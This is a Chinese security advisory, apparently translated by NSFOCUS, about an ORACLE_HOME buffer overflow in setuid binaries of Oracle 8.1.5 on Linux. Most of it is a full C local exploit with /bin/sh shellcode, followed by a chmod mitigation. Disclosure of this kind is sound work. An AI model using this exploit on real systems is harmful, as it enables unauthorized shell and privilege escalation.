安全研究

安全漏洞
Linux ORACLE 8.1.5 存在多个安全漏洞

发布日期:2000-10-23
更新日期:2000-10-23

受影响系统:

    Oracle 8.1.5
       - RedHat Linux 6.2
描述:

Oracle 8.1.5 (for Linux)里存在两处安全漏洞

1. 缓冲区溢出

攻击者有可能利用"ORACLE_HOME"环境变量实现缓冲区溢出攻击,受此漏洞影响的
Oracle应用程序包括:

    - names
    - namesctl
    - onrsd
    - osslogin
    - tnslsnr
    - tnsping
    - trcasst
    - trcroute

这些应用程序显然在获取"ORACLE_HOME"环境变量值的时候没有正确检查其长度,如
果攻击者给"ORACLE_HOME"环境变量赋与足够精巧的shellcode,将利用缓冲区溢出获
得一个shell。

2. 生成日志文件

用户执行诸如names、oracle或者tnslsnr之类的Oracle应用程序,会生成如下日志文
件:

names
======
-rw-rw-r--   1 oracle   dba             0 Oct 20 01:45 ckpcch.ora
-rw-rw-r--   1 oracle   dba           428 Oct 20 01:45 ckpreg.ora
-rw-rw-r--   1 oracle   dba           950 Oct 20 01:45 names.log

oracle
======
-rw-rw----   1 oracle   dba           616 Oct 20 05:14 ora_[running pid].trc

tnslsnr
=======
-rw-rw-r--   1 oracle   dba       2182176 Oct 20  2000 listener.log

<* 来源:loveyou (loveyou@hackerslab.org) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/*

    Oracle 8.1.5 exploit    
                -by loveyou
    
    offset value : -500 ~ +500

*/
#include <stdio.h>
#include <stdlib.h>

#define BUFFER              800
#define NOP                 0x90
#define PATH               "/hackerslab/loveyou/oracle/8.1.5/bin/names"

char shellcode[] =
/* - K2 - */
/* main: */
"\xeb\x1d"                /* jmp callz              */
/* start: */
"\x5e"                    /* popl %esi              */
"\x29\xc0"                /* subl %eax, %eax        */
"\x88\x46\x07"            /* movb %al, 0x07(%esi)   */
"\x89\x46\x0c"            /* movl %eax, 0x0c(%esi)  */
"\x89\x76\x08"            /* movl %esi, 0x08(%esi)  */
"\xb0\x0b"                /* movb $0x0b, %al        */
"\x87\xf3"                /* xchgl %esi, %ebx       */
"\x8d\x4b\x08"            /* leal 0x08(%ebx), %ecx  */
"\x8d\x53\x0c"            /* leal 0x0c(%ebx), %edx  */
"\xcd\x80"                /* int $0x80              */
"\x29\xc0"                /* subl %eax, %eax        */
"\x40"                    /* incl %eax              */
"\xcd\x80"                /* int $0x80              */
/* callz: */
"\xe8\xde\xff\xff\xff"    /* call start             */
"/bin/sh";


unsigned long getesp(void)
{
    __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
    char *buff, *ptr,binary[120];
    long *addr_ptr, addr;
    int bsize=BUFFER;
    int i,offset;

    offset = 0 ;

    if ( argc > 1 ) offset = atoi(argv[1]);

    buff = malloc(bsize);
    addr = getesp() - 5933 - offset;
    ptr = buff;
    addr_ptr = (long *) ptr;

    for (i = 0; i < bsize; i+=4)
            *(addr_ptr++) = addr;

    memset(buff,bsize/2,NOP);

    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
            *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';

    setenv("ORACLE_HOME",buff,1);

    printf("[ offset:%d buffer=%d ret:0x%x ]\n",
            offset,strlen(buff),addr);
    system(PATH);
}


建议:
临时解决办法:

NSFOCUS建议您在没有升级软件版本之前先卸掉相关应用程序的setuid属性

# su - oracle
$ cd /oracle_8.1.5_install_directory/bin
$ chmod a-s names  namesctl  onrsd  osslogin  tnslsnr  tnsping  trcasst  trcroute

厂商补丁:

暂无


浏览次数:6442
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障